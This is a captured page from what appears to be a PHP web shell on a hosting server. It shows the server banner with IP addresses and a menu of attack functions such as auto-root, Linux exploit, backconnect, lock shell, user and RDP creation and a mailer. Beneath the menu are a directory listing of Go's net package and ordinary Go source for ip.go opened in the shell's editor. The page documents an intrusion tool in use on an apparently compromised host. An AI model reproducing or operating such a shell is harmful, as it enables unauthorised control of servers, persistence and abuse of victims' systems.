Linux 120.141.167.72.host.secureserver.net 4.18.0-553.150.1.el8_10.x86_64 #1 SMP Fri Jul 31 15:23:31 EDT 2026 x86_64
Apache
: 72.167.141.120 | : 216.73.217.14
808 Domain
7.4.33
bestseocompany
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
net /
[ HOME SHELL ]
Name
Size
Permission
Action
http
[ DIR ]
drwxr-xr-x
internal
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
netip
[ DIR ]
drwxr-xr-x
rpc
[ DIR ]
drwxr-xr-x
smtp
[ DIR ]
drwxr-xr-x
testdata
[ DIR ]
drwxr-xr-x
textproto
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
addrselect.go
9.69
KB
-rw-r--r--
addrselect_test.go
8.5
KB
-rw-r--r--
cgo_aix.go
582
B
-rw-r--r--
cgo_android.go
272
B
-rw-r--r--
cgo_bsd.go
343
B
-rw-r--r--
cgo_darwin.go
298
B
-rw-r--r--
cgo_linux.go
642
B
-rw-r--r--
cgo_netbsd.go
276
B
-rw-r--r--
cgo_openbsd.go
276
B
-rw-r--r--
cgo_resnew.go
580
B
-rw-r--r--
cgo_resold.go
579
B
-rw-r--r--
cgo_socknew.go
753
B
-rw-r--r--
cgo_sockold.go
842
B
-rw-r--r--
cgo_solaris.go
343
B
-rw-r--r--
cgo_stub.go
1.33
KB
-rw-r--r--
cgo_unix.go
11.42
KB
-rw-r--r--
cgo_unix_cgo.go
2.24
KB
-rw-r--r--
cgo_unix_cgo_res.go
892
B
-rw-r--r--
cgo_unix_cgo_resn.go
979
B
-rw-r--r--
cgo_unix_syscall.go
3
KB
-rw-r--r--
cgo_unix_test.go
1.44
KB
-rw-r--r--
conf.go
15.48
KB
-rw-r--r--
conf_test.go
12.29
KB
-rw-r--r--
conn_test.go
1.82
KB
-rw-r--r--
dial.go
26.85
KB
-rw-r--r--
dial_test.go
30.28
KB
-rw-r--r--
dial_unix_test.go
2.77
KB
-rw-r--r--
dnsclient.go
5.67
KB
-rw-r--r--
dnsclient_test.go
1.51
KB
-rw-r--r--
dnsclient_unix.go
24.66
KB
-rw-r--r--
dnsclient_unix_test.go
72.77
KB
-rw-r--r--
dnsconfig.go
2.19
KB
-rw-r--r--
dnsconfig_unix.go
4.12
KB
-rw-r--r--
dnsconfig_unix_test.go
7.07
KB
-rw-r--r--
dnsconfig_windows.go
1.61
KB
-rw-r--r--
dnsname_test.go
1.96
KB
-rw-r--r--
error_plan9.go
224
B
-rw-r--r--
error_plan9_test.go
437
B
-rw-r--r--
error_posix.go
543
B
-rw-r--r--
error_posix_test.go
981
B
-rw-r--r--
error_test.go
20.32
KB
-rw-r--r--
error_unix.go
382
B
-rw-r--r--
error_unix_test.go
723
B
-rw-r--r--
error_windows.go
355
B
-rw-r--r--
error_windows_test.go
757
B
-rw-r--r--
example_test.go
8.45
KB
-rw-r--r--
external_test.go
4.05
KB
-rw-r--r--
fd_fake.go
3.79
KB
-rw-r--r--
fd_js.go
627
B
-rw-r--r--
fd_plan9.go
3.56
KB
-rw-r--r--
fd_posix.go
4.29
KB
-rw-r--r--
fd_unix.go
5.43
KB
-rw-r--r--
fd_wasip1.go
496
B
-rw-r--r--
fd_windows.go
6.21
KB
-rw-r--r--
file.go
1.69
KB
-rw-r--r--
file_plan9.go
2.77
KB
-rw-r--r--
file_stub.go
481
B
-rw-r--r--
file_test.go
6.43
KB
-rw-r--r--
file_unix.go
2.55
KB
-rw-r--r--
file_unix_test.go
2.07
KB
-rw-r--r--
file_wasip1.go
2.2
KB
-rw-r--r--
file_wasip1_test.go
3.76
KB
-rw-r--r--
file_windows.go
521
B
-rw-r--r--
hook.go
934
B
-rw-r--r--
hook_plan9.go
211
B
-rw-r--r--
hook_unix.go
658
B
-rw-r--r--
hook_windows.go
720
B
-rw-r--r--
hosts.go
3.48
KB
-rw-r--r--
hosts_test.go
5.6
KB
-rw-r--r--
interface.go
7.57
KB
-rw-r--r--
interface_aix.go
4.46
KB
-rw-r--r--
interface_bsd.go
2.82
KB
-rw-r--r--
interface_bsd_test.go
1.44
KB
-rw-r--r--
interface_bsdvar.go
718
B
-rw-r--r--
interface_darwin.go
1.29
KB
-rw-r--r--
interface_freebsd.go
1.29
KB
-rw-r--r--
interface_linux.go
6.96
KB
-rw-r--r--
interface_linux_test.go
3.65
KB
-rw-r--r--
interface_plan9.go
4.74
KB
-rw-r--r--
interface_solaris.go
2.13
KB
-rw-r--r--
interface_stub.go
814
B
-rw-r--r--
interface_test.go
9.76
KB
-rw-r--r--
interface_unix_test.go
4.85
KB
-rw-r--r--
interface_windows.go
5.49
KB
-rw-r--r--
ip.go
13.97
KB
-rw-r--r--
ip_test.go
25.69
KB
-rw-r--r--
iprawsock.go
7.11
KB
-rw-r--r--
iprawsock_plan9.go
874
B
-rw-r--r--
iprawsock_posix.go
3.89
KB
-rw-r--r--
iprawsock_test.go
5.98
KB
-rw-r--r--
ipsock.go
9.43
KB
-rw-r--r--
ipsock_plan9.go
7.48
KB
-rw-r--r--
ipsock_plan9_test.go
645
B
-rw-r--r--
ipsock_posix.go
8.62
KB
-rw-r--r--
ipsock_test.go
6.81
KB
-rw-r--r--
listen_test.go
20.5
KB
-rw-r--r--
lookup.go
28.6
KB
-rw-r--r--
lookup_plan9.go
9.89
KB
-rw-r--r--
lookup_test.go
41.45
KB
-rw-r--r--
lookup_unix.go
3.35
KB
-rw-r--r--
lookup_windows.go
14.19
KB
-rw-r--r--
lookup_windows_test.go
8.7
KB
-rw-r--r--
mac.go
1.88
KB
-rw-r--r--
mac_test.go
3.26
KB
-rw-r--r--
main_cloexec_test.go
693
B
-rw-r--r--
main_conf_test.go
2.45
KB
-rw-r--r--
main_plan9_test.go
392
B
-rw-r--r--
main_posix_test.go
1.37
KB
-rw-r--r--
main_test.go
7.53
KB
-rw-r--r--
main_unix_test.go
1.19
KB
-rw-r--r--
main_wasm_test.go
284
B
-rw-r--r--
main_windows_test.go
1
KB
-rw-r--r--
mockserver_test.go
13.28
KB
-rw-r--r--
mptcpsock_linux.go
3.96
KB
-rw-r--r--
mptcpsock_linux_test.go
4.06
KB
-rw-r--r--
mptcpsock_stub.go
542
B
-rw-r--r--
net.go
27.12
KB
-rw-r--r--
net_fake.go
26.45
KB
-rw-r--r--
net_fake_test.go
2.79
KB
-rw-r--r--
net_test.go
13.3
KB
-rw-r--r--
net_windows_test.go
16.28
KB
-rw-r--r--
netcgo_off.go
222
B
-rw-r--r--
netcgo_on.go
220
B
-rw-r--r--
netgo_netcgo.go
453
B
-rw-r--r--
netgo_off.go
220
B
-rw-r--r--
netgo_on.go
218
B
-rw-r--r--
nss.go
5.48
KB
-rw-r--r--
nss_test.go
3.4
KB
-rw-r--r--
packetconn_test.go
3.02
KB
-rw-r--r--
parse.go
5.66
KB
-rw-r--r--
parse_test.go
1.65
KB
-rw-r--r--
pipe.go
5.43
KB
-rw-r--r--
pipe_test.go
1.2
KB
-rw-r--r--
platform_test.go
4.33
KB
-rw-r--r--
port.go
1.46
KB
-rw-r--r--
port_test.go
1.34
KB
-rw-r--r--
port_unix.go
1.24
KB
-rw-r--r--
protoconn_test.go
7.44
KB
-rw-r--r--
rawconn.go
2.7
KB
-rw-r--r--
rawconn_stub_test.go
631
B
-rw-r--r--
rawconn_test.go
4.33
KB
-rw-r--r--
rawconn_unix_test.go
2.96
KB
-rw-r--r--
rawconn_windows_test.go
3.12
KB
-rw-r--r--
resolverdialfunc_test.go
8.25
KB
-rw-r--r--
rlimit_js.go
346
B
-rw-r--r--
rlimit_unix.go
1.1
KB
-rw-r--r--
sendfile_linux.go
1.15
KB
-rw-r--r--
sendfile_stub.go
403
B
-rw-r--r--
sendfile_test.go
12.06
KB
-rw-r--r--
sendfile_unix_alt.go
2.27
KB
-rw-r--r--
sendfile_windows.go
1.05
KB
-rw-r--r--
server_test.go
11.67
KB
-rw-r--r--
sock_bsd.go
918
B
-rw-r--r--
sock_cloexec.go
730
B
-rw-r--r--
sock_cloexec_solaris.go
1.43
KB
-rw-r--r--
sock_linux.go
993
B
-rw-r--r--
sock_linux_test.go
575
B
-rw-r--r--
sock_plan9.go
262
B
-rw-r--r--
sock_posix.go
6.29
KB
-rw-r--r--
sock_stub.go
390
B
-rw-r--r--
sock_windows.go
802
B
-rw-r--r--
sockaddr_posix.go
1.45
KB
-rw-r--r--
sockopt_aix.go
1.43
KB
-rw-r--r--
sockopt_bsd.go
2.21
KB
-rw-r--r--
sockopt_fake.go
955
B
-rw-r--r--
sockopt_linux.go
1.25
KB
-rw-r--r--
sockopt_plan9.go
406
B
-rw-r--r--
sockopt_posix.go
2.13
KB
-rw-r--r--
sockopt_solaris.go
1.25
KB
-rw-r--r--
sockopt_windows.go
1.51
KB
-rw-r--r--
sockoptip_bsdvar.go
867
B
-rw-r--r--
sockoptip_linux.go
735
B
-rw-r--r--
sockoptip_posix.go
1.38
KB
-rw-r--r--
sockoptip_stub.go
769
B
-rw-r--r--
sockoptip_windows.go
786
B
-rw-r--r--
splice_linux.go
1.71
KB
-rw-r--r--
splice_linux_test.go
14.49
KB
-rw-r--r--
splice_stub.go
376
B
-rw-r--r--
sys_cloexec.go
962
B
-rw-r--r--
tcpconn_keepalive_conf_darwin_...
430
B
-rw-r--r--
tcpconn_keepalive_conf_posix_t...
1.55
KB
-rw-r--r--
tcpconn_keepalive_conf_solaris...
1.77
KB
-rw-r--r--
tcpconn_keepalive_conf_unix_te...
490
B
-rw-r--r--
tcpconn_keepalive_conf_windows...
987
B
-rw-r--r--
tcpconn_keepalive_illumos_test...
3.98
KB
-rw-r--r--
tcpconn_keepalive_posix_test.g...
2.52
KB
-rw-r--r--
tcpconn_keepalive_solaris_test...
5.67
KB
-rw-r--r--
tcpconn_keepalive_test.go
4.15
KB
-rw-r--r--
tcpsock.go
13.67
KB
-rw-r--r--
tcpsock_plan9.go
2.3
KB
-rw-r--r--
tcpsock_posix.go
6.27
KB
-rw-r--r--
tcpsock_solaris.go
1.32
KB
-rw-r--r--
tcpsock_test.go
17.68
KB
-rw-r--r--
tcpsock_unix.go
1.05
KB
-rw-r--r--
tcpsock_unix_test.go
2.34
KB
-rw-r--r--
tcpsock_windows.go
1.31
KB
-rw-r--r--
tcpsockopt_darwin.go
1.4
KB
-rw-r--r--
tcpsockopt_openbsd.go
759
B
-rw-r--r--
tcpsockopt_plan9.go
762
B
-rw-r--r--
tcpsockopt_posix.go
442
B
-rw-r--r--
tcpsockopt_solaris.go
3.35
KB
-rw-r--r--
tcpsockopt_stub.go
570
B
-rw-r--r--
tcpsockopt_unix.go
1.32
KB
-rw-r--r--
tcpsockopt_windows.go
3.76
KB
-rw-r--r--
timeout_test.go
30.01
KB
-rw-r--r--
udpsock.go
11.83
KB
-rw-r--r--
udpsock_plan9.go
4.64
KB
-rw-r--r--
udpsock_plan9_test.go
1.31
KB
-rw-r--r--
udpsock_posix.go
7.53
KB
-rw-r--r--
udpsock_test.go
17.24
KB
-rw-r--r--
unixsock.go
10.12
KB
-rw-r--r--
unixsock_linux_test.go
2.29
KB
-rw-r--r--
unixsock_plan9.go
1.24
KB
-rw-r--r--
unixsock_posix.go
6.64
KB
-rw-r--r--
unixsock_readmsg_cloexec.go
654
B
-rw-r--r--
unixsock_readmsg_cmsg_cloexec....
332
B
-rw-r--r--
unixsock_readmsg_other.go
275
B
-rw-r--r--
unixsock_readmsg_test.go
2.51
KB
-rw-r--r--
unixsock_test.go
10.64
KB
-rw-r--r--
unixsock_windows_test.go
1.83
KB
-rw-r--r--
write_unix_test.go
1.61
KB
-rw-r--r--
writev_test.go
5.03
KB
-rw-r--r--
writev_unix.go
666
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ip.go
// Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // IP address manipulations // // IPv4 addresses are 4 bytes; IPv6 addresses are 16 bytes. // An IPv4 address can be converted to an IPv6 address by // adding a canonical prefix (10 zeros, 2 0xFFs). // This library accepts either size of byte slice but always // returns 16-byte addresses. package net import ( "internal/bytealg" "internal/itoa" "internal/stringslite" "net/netip" ) // IP address lengths (bytes). const ( IPv4len = 4 IPv6len = 16 ) // An IP is a single IP address, a slice of bytes. // Functions in this package accept either 4-byte (IPv4) // or 16-byte (IPv6) slices as input. // // Note that in this documentation, referring to an // IP address as an IPv4 address or an IPv6 address // is a semantic property of the address, not just the // length of the byte slice: a 16-byte slice can still // be an IPv4 address. type IP []byte // An IPMask is a bitmask that can be used to manipulate // IP addresses for IP addressing and routing. // // See type [IPNet] and func [ParseCIDR] for details. type IPMask []byte // An IPNet represents an IP network. type IPNet struct { IP IP // network number Mask IPMask // network mask } // IPv4 returns the IP address (in 16-byte form) of the // IPv4 address a.b.c.d. func IPv4(a, b, c, d byte) IP { p := make(IP, IPv6len) copy(p, v4InV6Prefix) p[12] = a p[13] = b p[14] = c p[15] = d return p } var v4InV6Prefix = []byte{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xff} // IPv4Mask returns the IP mask (in 4-byte form) of the // IPv4 mask a.b.c.d. func IPv4Mask(a, b, c, d byte) IPMask { p := make(IPMask, IPv4len) p[0] = a p[1] = b p[2] = c p[3] = d return p } // CIDRMask returns an [IPMask] consisting of 'ones' 1 bits // followed by 0s up to a total length of 'bits' bits. // For a mask of this form, CIDRMask is the inverse of [IPMask.Size]. func CIDRMask(ones, bits int) IPMask { if bits != 8*IPv4len && bits != 8*IPv6len { return nil } if ones < 0 || ones > bits { return nil } l := bits / 8 m := make(IPMask, l) n := uint(ones) for i := 0; i < l; i++ { if n >= 8 { m[i] = 0xff n -= 8 continue } m[i] = ^byte(0xff >> n) n = 0 } return m } // Well-known IPv4 addresses var ( IPv4bcast = IPv4(255, 255, 255, 255) // limited broadcast IPv4allsys = IPv4(224, 0, 0, 1) // all systems IPv4allrouter = IPv4(224, 0, 0, 2) // all routers IPv4zero = IPv4(0, 0, 0, 0) // all zeros ) // Well-known IPv6 addresses var ( IPv6zero = IP{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0} IPv6unspecified = IP{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0} IPv6loopback = IP{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} IPv6interfacelocalallnodes = IP{0xff, 0x01, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x01} IPv6linklocalallnodes = IP{0xff, 0x02, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x01} IPv6linklocalallrouters = IP{0xff, 0x02, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x02} ) // IsUnspecified reports whether ip is an unspecified address, either // the IPv4 address "0.0.0.0" or the IPv6 address "::". func (ip IP) IsUnspecified() bool { return ip.Equal(IPv4zero) || ip.Equal(IPv6unspecified) } // IsLoopback reports whether ip is a loopback address. func (ip IP) IsLoopback() bool { if ip4 := ip.To4(); ip4 != nil { return ip4[0] == 127 } return ip.Equal(IPv6loopback) } // IsPrivate reports whether ip is a private address, according to // RFC 1918 (IPv4 addresses) and RFC 4193 (IPv6 addresses). func (ip IP) IsPrivate() bool { if ip4 := ip.To4(); ip4 != nil { // Following RFC 1918, Section 3. Private Address Space which says: // The Internet Assigned Numbers Authority (IANA) has reserved the // following three blocks of the IP address space for private internets: // 10.0.0.0 - 10.255.255.255 (10/8 prefix) // 172.16.0.0 - 172.31.255.255 (172.16/12 prefix) // 192.168.0.0 - 192.168.255.255 (192.168/16 prefix) return ip4[0] == 10 || (ip4[0] == 172 && ip4[1]&0xf0 == 16) || (ip4[0] == 192 && ip4[1] == 168) } // Following RFC 4193, Section 8. IANA Considerations which says: // The IANA has assigned the FC00::/7 prefix to "Unique Local Unicast". return len(ip) == IPv6len && ip[0]&0xfe == 0xfc } // IsMulticast reports whether ip is a multicast address. func (ip IP) IsMulticast() bool { if ip4 := ip.To4(); ip4 != nil { return ip4[0]&0xf0 == 0xe0 } return len(ip) == IPv6len && ip[0] == 0xff } // IsInterfaceLocalMulticast reports whether ip is // an interface-local multicast address. func (ip IP) IsInterfaceLocalMulticast() bool { return len(ip) == IPv6len && ip[0] == 0xff && ip[1]&0x0f == 0x01 } // IsLinkLocalMulticast reports whether ip is a link-local // multicast address. func (ip IP) IsLinkLocalMulticast() bool { if ip4 := ip.To4(); ip4 != nil { return ip4[0] == 224 && ip4[1] == 0 && ip4[2] == 0 } return len(ip) == IPv6len && ip[0] == 0xff && ip[1]&0x0f == 0x02 } // IsLinkLocalUnicast reports whether ip is a link-local // unicast address. func (ip IP) IsLinkLocalUnicast() bool { if ip4 := ip.To4(); ip4 != nil { return ip4[0] == 169 && ip4[1] == 254 } return len(ip) == IPv6len && ip[0] == 0xfe && ip[1]&0xc0 == 0x80 } // IsGlobalUnicast reports whether ip is a global unicast // address. // // The identification of global unicast addresses uses address type // identification as defined in RFC 1122, RFC 4632 and RFC 4291 with // the exception of IPv4 directed broadcast addresses. // It returns true even if ip is in IPv4 private address space or // local IPv6 unicast address space. func (ip IP) IsGlobalUnicast() bool { return (len(ip) == IPv4len || len(ip) == IPv6len) && !ip.Equal(IPv4bcast) && !ip.IsUnspecified() && !ip.IsLoopback() && !ip.IsMulticast() && !ip.IsLinkLocalUnicast() } // Is p all zeros? func isZeros(p IP) bool { for i := 0; i < len(p); i++ { if p[i] != 0 { return false } } return true } // To4 converts the IPv4 address ip to a 4-byte representation. // If ip is not an IPv4 address, To4 returns nil. func (ip IP) To4() IP { if len(ip) == IPv4len { return ip } if len(ip) == IPv6len && isZeros(ip[0:10]) && ip[10] == 0xff && ip[11] == 0xff { return ip[12:16] } return nil } // To16 converts the IP address ip to a 16-byte representation. // If ip is not an IP address (it is the wrong length), To16 returns nil. func (ip IP) To16() IP { if len(ip) == IPv4len { return IPv4(ip[0], ip[1], ip[2], ip[3]) } if len(ip) == IPv6len { return ip } return nil } // Default route masks for IPv4. var ( classAMask = IPv4Mask(0xff, 0, 0, 0) classBMask = IPv4Mask(0xff, 0xff, 0, 0) classCMask = IPv4Mask(0xff, 0xff, 0xff, 0) ) // DefaultMask returns the default IP mask for the IP address ip. // Only IPv4 addresses have default masks; DefaultMask returns // nil if ip is not a valid IPv4 address. func (ip IP) DefaultMask() IPMask { if ip = ip.To4(); ip == nil { return nil } switch { case ip[0] < 0x80: return classAMask case ip[0] < 0xC0: return classBMask default: return classCMask } } func allFF(b []byte) bool { for _, c := range b { if c != 0xff { return false } } return true } // Mask returns the result of masking the IP address ip with mask. func (ip IP) Mask(mask IPMask) IP { if len(mask) == IPv6len && len(ip) == IPv4len && allFF(mask[:12]) { mask = mask[12:] } if len(mask) == IPv4len && len(ip) == IPv6len && bytealg.Equal(ip[:12], v4InV6Prefix) { ip = ip[12:] } n := len(ip) if n != len(mask) { return nil } out := make(IP, n) for i := 0; i < n; i++ { out[i] = ip[i] & mask[i] } return out } // String returns the string form of the IP address ip. // It returns one of 4 forms: // - "<nil>", if ip has length 0 // - dotted decimal ("192.0.2.1"), if ip is an IPv4 or IP4-mapped IPv6 address // - IPv6 conforming to RFC 5952 ("2001:db8::1"), if ip is a valid IPv6 address // - the hexadecimal form of ip, without punctuation, if no other cases apply func (ip IP) String() string { if len(ip) == 0 { return "<nil>" } if len(ip) != IPv4len && len(ip) != IPv6len { return "?" + hexString(ip) } // If IPv4, use dotted notation. if p4 := ip.To4(); len(p4) == IPv4len { return netip.AddrFrom4([4]byte(p4)).String() } return netip.AddrFrom16([16]byte(ip)).String() } func hexString(b []byte) string { s := make([]byte, len(b)*2) for i, tn := range b { s[i*2], s[i*2+1] = hexDigit[tn>>4], hexDigit[tn&0xf] } return string(s) } // ipEmptyString is like ip.String except that it returns // an empty string when ip is unset. func ipEmptyString(ip IP) string { if len(ip) == 0 { return "" } return ip.String() } // MarshalText implements the [encoding.TextMarshaler] interface. // The encoding is the same as returned by [IP.String], with one exception: // When len(ip) is zero, it returns an empty slice. func (ip IP) MarshalText() ([]byte, error) { if len(ip) == 0 { return []byte(""), nil } if len(ip) != IPv4len && len(ip) != IPv6len { return nil, &AddrError{Err: "invalid IP address", Addr: hexString(ip)} } return []byte(ip.String()), nil } // UnmarshalText implements the [encoding.TextUnmarshaler] interface. // The IP address is expected in a form accepted by [ParseIP]. func (ip *IP) UnmarshalText(text []byte) error { if len(text) == 0 { *ip = nil return nil } s := string(text) x := ParseIP(s) if x == nil { return &ParseError{Type: "IP address", Text: s} } *ip = x return nil } // Equal reports whether ip and x are the same IP address. // An IPv4 address and that same address in IPv6 form are // considered to be equal. func (ip IP) Equal(x IP) bool { if len(ip) == len(x) { return bytealg.Equal(ip, x) } if len(ip) == IPv4len && len(x) == IPv6len { return bytealg.Equal(x[0:12], v4InV6Prefix) && bytealg.Equal(ip, x[12:]) } if len(ip) == IPv6len && len(x) == IPv4len { return bytealg.Equal(ip[0:12], v4InV6Prefix) && bytealg.Equal(ip[12:], x) } return false } func (ip IP) matchAddrFamily(x IP) bool { return ip.To4() != nil && x.To4() != nil || ip.To16() != nil && ip.To4() == nil && x.To16() != nil && x.To4() == nil } // If mask is a sequence of 1 bits followed by 0 bits, // return the number of 1 bits. func simpleMaskLength(mask IPMask) int { var n int for i, v := range mask { if v == 0xff { n += 8 continue } // found non-ff byte // count 1 bits for v&0x80 != 0 { n++ v <<= 1 } // rest must be 0 bits if v != 0 { return -1 } for i++; i < len(mask); i++ { if mask[i] != 0 { return -1 } } break } return n } // Size returns the number of leading ones and total bits in the mask. // If the mask is not in the canonical form--ones followed by zeros--then // Size returns 0, 0. func (m IPMask) Size() (ones, bits int) { ones, bits = simpleMaskLength(m), len(m)*8 if ones == -1 { return 0, 0 } return } // String returns the hexadecimal form of m, with no punctuation. func (m IPMask) String() string { if len(m) == 0 { return "<nil>" } return hexString(m) } func networkNumberAndMask(n *IPNet) (ip IP, m IPMask) { if ip = n.IP.To4(); ip == nil { ip = n.IP if len(ip) != IPv6len { return nil, nil } } m = n.Mask switch len(m) { case IPv4len: if len(ip) != IPv4len { return nil, nil } case IPv6len: if len(ip) == IPv4len { m = m[12:] } default: return nil, nil } return } // Contains reports whether the network includes ip. func (n *IPNet) Contains(ip IP) bool { nn, m := networkNumberAndMask(n) if x := ip.To4(); x != nil { ip = x } l := len(ip) if l != len(nn) { return false } for i := 0; i < l; i++ { if nn[i]&m[i] != ip[i]&m[i] { return false } } return true } // Network returns the address's network name, "ip+net". func (n *IPNet) Network() string { return "ip+net" } // String returns the CIDR notation of n like "192.0.2.0/24" // or "2001:db8::/48" as defined in RFC 4632 and RFC 4291. // If the mask is not in the canonical form, it returns the // string which consists of an IP address, followed by a slash // character and a mask expressed as hexadecimal form with no // punctuation like "198.51.100.0/c000ff00". func (n *IPNet) String() string { if n == nil { return "<nil>" } nn, m := networkNumberAndMask(n) if nn == nil || m == nil { return "<nil>" } l := simpleMaskLength(m) if l == -1 { return nn.String() + "/" + m.String() } return nn.String() + "/" + itoa.Uitoa(uint(l)) } // ParseIP parses s as an IP address, returning the result. // The string s can be in IPv4 dotted decimal ("192.0.2.1"), IPv6 // ("2001:db8::68"), or IPv4-mapped IPv6 ("::ffff:192.0.2.1") form. // If s is not a valid textual representation of an IP address, // ParseIP returns nil. The returned address is always 16 bytes, // IPv4 addresses are returned in IPv4-mapped IPv6 form. func ParseIP(s string) IP { if addr, valid := parseIP(s); valid { return IP(addr[:]) } return nil } func parseIP(s string) ([16]byte, bool) { ip, err := netip.ParseAddr(s) if err != nil || ip.Zone() != "" { return [16]byte{}, false } return ip.As16(), true } // ParseCIDR parses s as a CIDR notation IP address and prefix length, // like "192.0.2.0/24" or "2001:db8::/32", as defined in // RFC 4632 and RFC 4291. // // It returns the IP address and the network implied by the IP and // prefix length. // For example, ParseCIDR("192.0.2.1/24") returns the IP address // 192.0.2.1 and the network 192.0.2.0/24. func ParseCIDR(s string) (IP, *IPNet, error) { addr, mask, found := stringslite.Cut(s, "/") if !found { return nil, nil, &ParseError{Type: "CIDR address", Text: s} } ipAddr, err := netip.ParseAddr(addr) if err != nil || ipAddr.Zone() != "" { return nil, nil, &ParseError{Type: "CIDR address", Text: s} } n, i, ok := dtoi(mask) if !ok || i != len(mask) || n < 0 || n > ipAddr.BitLen() { return nil, nil, &ParseError{Type: "CIDR address", Text: s} } m := CIDRMask(n, ipAddr.BitLen()) addr16 := ipAddr.As16() return IP(addr16[:]), &IPNet{IP: IP(addr16[:]).Mask(m), Mask: m}, nil } func copyIP(x IP) IP { y := make(IP, len(x)) copy(y, x) return y }
Close